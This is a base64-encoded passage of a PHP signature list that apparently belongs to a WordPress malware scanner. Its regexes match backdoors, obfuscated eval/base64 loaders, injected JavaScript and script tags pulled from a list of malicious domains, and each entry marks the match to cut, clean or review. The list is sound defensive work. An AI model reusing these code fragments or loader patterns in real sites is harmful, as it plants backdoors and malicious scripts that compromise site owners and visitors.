PT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHNcJG1kNVxzKj1ccyooXCd8IilbMC05YS1mXXszMn0oXCd8IikuKlwkd3Bfc2FsdC4qY3JlYXRlX2Z1bmN0aW9uLipcPz4vbVVzJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHBccyppZlwoXCghQGZpbGVfZXhpc3RzLiowNDQ0XCk7fVxzKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1wvXCphZVI0Q2hvY19zdGFydFwqLipcL1wqYWVSNENob2NfZW5kXCpcLy9tJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88c2NyaXB0PnZhciB6O2lmXCh6IT1cJ1wnICYmIHohPVwnbENcJ1wpXHt6PW51bGwuKnZVICE9IFwnXCdcKVx7dlU9bnVsbFx9OzxcL3NjcmlwdD4vbXNpJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9yZXF1aXJlX29uY2VcKHBsdWdpbl9kaXJfcGF0aFwoX19GSUxFX19cKSBcLiAiKGltYWdlc3xpbWcpXC9zb2NpYWxcLnBuZyJcKTsvbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0fGpzKSQvbWknLAogICAgImNvZGUiID0+ICcvRWxlbWVudFwucHJvdG90eXBlXC5hcHBlbmRBZnRlciA9IGZ1bmN0aW9uXChlbGVtZW50XCkge2VsZW1lbnRcLnBhcmVudE5vZGVcLmluc2VydEJlZm9yZVwodGhpcywgZWxlbWVudFwubmV4dFNpYmxpbmdcKTt9LCBmYWxzZTtcKGZ1bmN0aW9uXChcKSB7IHZhciBlbGVtID0gZG9jdW1lbnRcLmNyZWF0ZUVsZW1lbnRcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTUsOTksMTE0LDEwNSwxMTIsMTE2XClcKTsgZWxlbVwudHlwZSA9IFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTYsMTAxLDEyMCwxMTYsNDcsMTA2LDk3LDExOCw5NywxMTUsOTksMTE0LDEwNSwxMTIsMTE2W148XSpTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTA0LDEwMSw5NywxMDBcKVwpXFswXF1cLmFwcGVuZENoaWxkXChlbGVtXCk7fVwpXChcKTsvbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocCBpZiBcKGZpbGVfZXhpc3RzXChkaXJuYW1lXChfX0ZJTEVfX1wpIFwuIFwnXC93cC12Y2RcLnBocFwnXClcKSBpbmNsdWRlX29uY2VcKGRpcm5hbWVcKF9fRklMRV9fXCkgXC4gXCdcL3dwLXZjZFwucGhwXCdcKTsgXD8+L21zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88c2NyaXB0IHR5cGU9KFwnfCIpdGV4dFwvamF2YXNjcmlwdChcJ3wiKT5bXjxdKmV2YWxcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTgsIDk3LCAxMTQsIDMyLCAxMDAsIDYxLCAxMDAsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCA1OSwgMTE4LCA5NywgMTE0LCAzMiwgMTE1W148XSpcKVwpOzxcL3NjcmlwdD4vbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL0BkaWUgXChcJGN0aW1lXChcJGF0aW1lXClcKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9pZlwoaXNzZXRcKFwkX1BPU1RcW2NoclwoOTdcKVwuY2hyXCgxMTVcKVwuY2hyXCg5N1wpLipvd2hnZ2lrdS4qYmFzZTY0X2RlY29kZVwoImJHOWpZV3d0WlhKeWIzSXRibTkwTFdadmRXNWsiXCk7fWRpZVwoXCk7fS9tJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPHNjcmlwdCB0eXBlPXRleHRcL2phdmFzY3JpcHQ+IEVsZW1lbnRcLnByb3RvdHlwZVwuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvblwoZWxlbWVudFwpIHtlbGVtZW50XC5wYXJlbnROb2RlXC5pbnNlcnRCZWZvcmVcKHRoaXMsIGVsZW1lbnRcLm5leHRTaWJsaW5nXCk7fSwgZmFsc2U7XChmdW5jdGlvblwoXCkgeyB2YXIgZWxlbSA9IGRvY3VtZW50XC5jcmVhdGVFbGVtZW50XChTdHJpbmcuZnJvbUNoYXJDb2RlXCgxMTUsOTksMTE0LDEwNSwxMTIsMTE2XClcKTtbXjxdKlwoXCk7PFwvc2NyaXB0Pi9tcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqaWZcKCFkZWZpbmVkXChcJ19ORVRcJ1wpXCkuKlwvXCpcLFwuXCpcL1xzKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocCBcL1wqW15cKl0qXCpcL2V2YWxcL1wqLipcKlwvXHMqXD8+L20nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2luY2x1ZGVccypcKFxzKkFCU1BBVEhccypcLlxzKldQSU5DXHMqXC5ccypcJ1wvbWV0YXdwXC5waHBcJ1xzKlwpXHMqOy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAuK1wkR0xPQkFMUy4rZXZhbFwvXCouKlxdXCk7W31dezEsMn1leGl0XChcKTt9W14+XStcPz4vbXNpJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocC4rXCRHTE9CQUxTLitldmFsXC9cKi4qXF1cKVwpO2V4aXRcKFwpO31bXj5dK1w/Pi9tc2knLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1w8XD9waHAuK1wkX1JFUVVFU1RcW1wncGFzc3dvcmRcJ1xdLitcJGVuZF93cF90aGVtZV90bXAuKz9cP1w+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cPFw/cGhwLitcJE8wME9PMFtcU117MTAwMH0uKz9cP1w+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1wvXCpbXipdezV9XCpcL1teQF0qQGluY2x1ZGUgIlteKl0qXC9cKlteKl17NX1cKlwvL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtePl0qYXJyYXlbXj5dKmFycmF5W14+XSphcnJheVtePl0qW1xTXXszMDAwfVtePl0qXD8+L2lVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtePl0qc3RyX3JlcGxhY2VbXj5dKnN0cl9yZXBsYWNlW14+XSpzdHJfcmVwbGFjZVtePl0qW1xTXXszMDAwfVtePl0qXD8+L2lVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtcc117NTAwfVtePl0qc3RyX3JlcGxhY2VbXj5dKnN0cl9yZXBsYWNlW14+XSpzdHJfcmVwbGFjZVtePl0qW1xzXXs1MDB9W14+XSpcPz4vaVUnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvXDxzY3JpcHQgdHlwZT1cJ3RleHRcL2phdmFzY3JpcHRcJyBzcmM9XCdodHRwczpcL1wvc25pcHBldFwuYWRzZm9ybWFya2V0XC5jb21cL3NhbWVcLmpzXCdcPi9pVScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoZ3ppbmZsYXRlXChiYXNlNjRfZGVjb2RlXChcJ1tcU117NTAwfS4qXCdcKVwpXCk7L2ltJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSo9XCcuKlwkW2EtekEtWl9ceDgwLVx4ZmZdW2EtekEtWjAtOV9ceDgwLVx4ZmZdKj1cJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcKFwnXCcsLipcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcKFwpOyQvaW0nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIGlmXCghaXNzZXRcKFwkR0xPQkFMU1xbIlxcXFx4NjFcXFxcMTU2XFxcXHg3NVxcXFwxNTZcXFxceDYxIlxdXClcKSB7IFwkdWE9c3RydG9sb3dlclwoXCRfU0VSVkVSXFsiXFxcXHg0OFteP10qXD8+PFw/cGhwLio/XD8+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIEBlcnJvcl9yZXBvcnRpbmdcKDBcKTsuKkJjVlNpcjt9IFw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIEBlcnJvcl9yZXBvcnRpbmdcKDBcKTsuKkJjVlNpcjt9IFw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3AtY29uZmlnXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2luY2x1ZGVcKCJ3cC1jb250ZW50XC93XC5waHAiXCk7L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9AZXZhbFwoXCRfUE9TVFxbIndwX2FqeF9yZXF1ZXN0Il1cKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAgXC9cKlswLTldezV9XCpcLy4qXC9cKlswLTldezV9XCpcL1xzKlw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoZ3ppbmZsYXRlXChiYXNlNjRfZGVjb2RlXChbXlwoXCldKlwpXClcKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1wkb25ldGloZXY9ImNyZWF0ZS4qdW5zZXRcKFwkaXRvbG9rXCk7L21zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxzY3JpcHRccyp0eXBlPShcJ3wifCl0ZXh0XC9qYXZhc2NyaXB0KFwnfCJ8KVxzKihhc3luY3xhc3luY1xzKj1ccyp0cnVlKSpccypzcmM9XCdodHRwW3NdKjpcL1wvW14+XSoobGV0c21ha2VwYXJ0eTNcLmdhfGxvYmJ5ZGVzaXJlc1wuY29tfHRyYXNuYWx0ZW15cmVjb3Jkc1wuY29tfGJsYWNrZW50ZXJ0YWlubWVudHNcLmNvbXxkb250c3RvcHRoaXNtdXNpY3NcLmNvbXxsaXR0bGVhbmRiaWdncmVlbmJhbGxsb25cLmNvbXxjZG53ZWJzaXRlZm9yeW91XC5iaXp8cmVzb2x1dGlvbmRlc3RpblwuY29tfGRldmVsb3BmaXJzdGxpbmVcLmNvbXxkZWxpdmVyeWdvb2RzdHJhdGVneS5jb218ZGV2ZWxvcGZpcnN0bGluZVwuY29tfHJlc29sdXRpb25kZXN0aW5cLmNvbXxjaGF0d2l0aGdyZWVuYmFyXC5jb218ZGlnZXN0Y29sZWN0XC5jb218c3RpdmVuZmVybmFuZG9cLmNvbXx2ZXJ5YmVhdGlmdWxhbnRvbnlcLmNvbXx0cmFja3N0YXRpc3RpY3Nzc1wuY29tfGRpZ2VzdGNvbGVjdFwuY29tfGNvbGxlY3RmYXN0dHJhY2tzXC5jb218dmVyeWJlYXRpZnVsYW50b255XC5jb218ZGVzdGlueWZlcm5hbmRpXC5jb20pW14+XStcJz48XC9zY3JpcHQ+L20nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqXC9cKlxzKlthLXpBLVowLTldezIwfVxzKlwqXC9ccypcPz4uKjxcP3BocFxzKlwvXCpccypbYS16QS1aMC05XXsyMH1ccypcKlwvXHMqXD8+L2lzJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3xqcykkL21pJywKICAgICJjb2RlIiA9PiAnL0VsZW1lbnRcLnByb3RvdHlwZVwuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvblwoZWxlbWVudFwpIHtlbGVtZW50XC5wYXJlbnROb2RlXC5pbnNlcnRCZWZvcmVcKHRoaXMsIGVsZW1lbnRcLm5leHRTaWJsaW5nXCk7fSwgZmFsc2U7XChmdW5jdGlvblwoXCkgeyB2YXIgZWxlbSA9IGRvY3VtZW50XC5jcmVhdGVFbGVtZW50XChTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTE1LDk5LDExNCwxMDUsMTEyLDExNlwpXCk7IGVsZW1cLnR5cGUgPSBTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTE2LDEwMSwxMjAsMTE2LDQ3LDEwNiw5NywxMTgsOTcsMTE1LDk5LDExNCwxMDUsMTEyLDExNi4qdmFyIGxpc3QgPSBkb2N1bWVudFwuZ2V0RWxlbWVudHNCeVRhZ05hbWVcKFwnc2NyaXB0XCdcKTtsaXN0XC5pbnNlcnRCZWZvcmVcKHMsIGxpc3RcLmNoaWxkTm9kZXNcWzBcXVwpO1xzKn0vbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXh0cmFjdFwoXCRfUkVRVUVTVFwpO2lmXChtZDVcKFwkYlwpIT1cJ1swLTlhLWZdezMyfVwnXClce2RpZVwoXCk7XH1cJGNcKFwkZiwgXCRhXCk7aW5jbHVkZV9vbmNlIFwkZjsvbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAuKlwvXC9zY3AtMTczLipcPz4vbXNVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqaWZccypcKGlzc2V0XChcJF9SRVFVRVNUXFtcJ2FjdGlvblwnXF1cKVxzKiYmXHMqaXNzZXRcKFwkX1JFUVVFU1RcW1wncGFzc3dvcmRcJ1xdXClccyomJlxzKlwoXCRfUkVRVUVTVFxbXCdwYXNzd29yZFwnXF0uKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAgXCRbYS16QS1aX1x4ODAtXHhmZl1bYS16QS1aMC05X1x4ODAtXHhmZl0qID0gXCcuKiNbQS1aXSMtI1tBLVpdIy0jW0EtWl0jLSNbQS1aXSMtI1tBLVpdIy0uKi0xOyBcPz4vbVUnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCi8qIGVuZCBjdXQgc2VjdGlvbiAqLwovKiBzdGFydCBjbGVhbiBzZWN0aW9uICovCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15pbml0XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9JbmZpbml0ZVdQL2lVJywKICAgICJhY3Rpb24iID0+ICdjbGVhbicKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15cLlteLl0qXC4oaWNvfHBuZ3xqcGd8Z2lwKSQvbWknLAogICAgImNvZGUiID0+ICcvLipiYXNlbmFtZS4qL2lVJywKICAgICJhY3Rpb24iID0+ICdjbGVhbicKKSwgCi8qIGVuZCBjbGVhbiBzZWN0aW9uICovCi8qIHN0YXJ0IG1hbnVhbCBzZWN0aW9uICovCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cXHg2OVxceDcwXFx4NzRcXHgyMFxceDYxXFx4NzNcXHg3OVxceDZFXFx4NjNcXHgyMFxceDYzXFx4NkNcXHg2MVxceDczXFx4NzNcXHgzRFxceDIyXFx4M0RcXHg1MlxceDMyXFx4NEVcXHgzNFxceDU0XFx4NTVcXHg3N1xceDdBXFx4NTJcXHg2Q1xceDZGXFx4MzdcXHg0Q1xceDU0XFx4NjNcXHgzMVxceDRGXFx4N0FcXHg0NVxceDNEXFx4MjJcXHgyMFxceDczXFx4NzJcXHg2M1xceDNEXFx4MjJcXHg2OFxceDc0XFx4NzRcXHg3MFxceDczXFx4M0FcXHgyRlxceDJGXFx4NzBcXHg2Q1xceDYxXFx4NzlcXHgyRVxceDYyXFx4NjVcXHg3M1xceDczXFx4NzRcXHg2MS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJE8wME9PMC9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eb3BuLXBvc3RcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksICAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvc3BhbWhhdXNcLm9yZy9pVScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL21yaWxuc1wuY29tL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL3Jvb3RraXRuaW5qYVwuY29tL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL25ld19yZWFkbWVcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvY2FsbGFibGUvaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvQiBHZSBUZWFtICBGaWxlIE1hbmFnZXIvaVUnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvLnsxNTAwfSQvbScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9wYXJvcnNcLmNvbS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvXCR3cF9hdXRoX2tleS9taScsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKG1kNVwoXCRfQ09PS0lFXFtcJ3Bhc3N3b3JkL21pJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKFwkX1BPU1RcWy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ21hbnVhbCcKKSwgCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9QT1NUXFtcJGtleVxdIFw9IHN0cmlwc2xhc2hlc1woXCR2YWx1ZVwpL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoXCdcP1w+XCcvaW1zJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICd+PSg/OlwnXCk7cmV0dXJuXHMqYmFzZTY0X2RlY29kZVwoXCRhXFtcJGlcXVwpO1xzKn1ccypcPz5Xb3JkcHJlc3Nccyo8XD9waHBccypcJF8wKD88WDlhZDAyM2U2Pil8PSg/Oj09XCtcK1wrQ29kZWRccytCeVxzK0l6bGFkZW5cK1wrXCs9PT0oPzxYMjRmYTg4OWU+KXxcW0JZXHMrUCFSQTE3RFpcXT09KD88WDIxZjIxMGY4Pil8XHMqRkFMU0VcKVxzKntccypicmVhaztccyp9XHMqaWZccypcKFwkXHcrXHMqPT1ccypcZCsgXHxcfFxzKlwkXHcrXHMqPT09XHMqXGQrXHMqXHxcfFxzKlwkXHcrXHMqPT09XHMqXGQrXHMqXClccyp7XHMqXCRcdytcW1wkXHcrXF1cWyg/PFgyODc0OTE2Mj4pKXw+XHMqW1wnIl10b29sc1tcJyJdLFxzKlwvXCpccyphdmFpbGFibGU6KD86XHMqKD86bHN8c2VhcmNofHVwbG9hZHxjbWR8ZXZhbHxzcWx8bWFpbGVyfGVuY29kZXJzfHRvb2xzfHByb2Nlc3Nlc3xzeXNpbmZvKSw/XHMqKXs5LDExfVxzKlwqLyg/PFhlNDE0ZTY1Nj4pfEAoPzpcJF9DT09LSUU7XHMqXCQoPzxYMTk1YTcyMmM+KXxnenVuY29tcHJlc3NccypcKFxzKkBiYXNlNjRfZGVjb2RlXHMqXChccypcJFx3ezEsNDB9XHMqXClccypcKVxzKlwpXHMqXHtccypzZXRjb29raWVccypcKFxzKlwnW15cJ10qXCdccyosXHMqXCRcd3sxLDQwfVxzKlwpXHMqO1xzKnNldGNvb2tpZVxzKlwoXHMqXCdbXlwnXSpcJ1xzKixccypcJFx3ezEsNDB9XHMqXClccyo7XHMqXCRcd3sxLDQwfT1ccypjcmVhdGVfZnVuY3Rpb24oPzxYOThjYTRmYjA+KSl8XHMqKD86XCRcdytcKCIiLFxzKlwkXHcrXChcJFx3K1woIlx3KyIsXHMqIiIsXHMqXCRcdytcLlwkXHcrXC5cJFx3K1wuXCRcdytcKVwpXCk7XHMqXCRcdytcKFwpO1xzKlw/Pig/PFg3OTI2ZTQ0ND4pfHJlbW92ZV90YWdzXChccypfZGxccypcKFxzKlwkXyg/OkdFVHxQT1NUfENPT0tJRSlccypcWyg/PFg0MWM0MjA5ZT4pKXxhcnJheVwoKD86W1wnIl1cXj8oPzooPzpcZHsxLDN9fFwqKVwuKXszfSg/OlxkezEsM318XCopW1wnIl0sKXs5fVteXCldezk5OSw5OTk5fVwpO1teOjwlJlxeI117OSw0OTk5fSg/OmV4aXRcKHxceyloZWFkZXJcKFtcJyJdKD86TG9jYXRpb246XHMqaHR0cHM/Oi8vfEhUVFAvW1xkXC5dezEsM31ccyo0MDQpKD88WDVlZjhhYThiPil8bnVtX21hY3Jvc1woXHMqXCR7XHMqXCR7KD88WDkzYWM3YTZlPil8dW5zZXJpYWxpemVcKHN0cmluZ19jcHRcKGJhc2U2NF9kZWNvZGVcKFwkXHd7MSw0MH1cKSxcJFx3ezEsNDB9XClcKTtcJFx3ezEsNDB9PVwkX1JFUVVFU1QoPzxYNGY0NmZmNmI+KSl+c21pUycsCiAgICAiYWN0aW9uIiA9PiAnbWFudWFsJwopLCAKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15pbmRleDJcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdtYW51YWwnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfG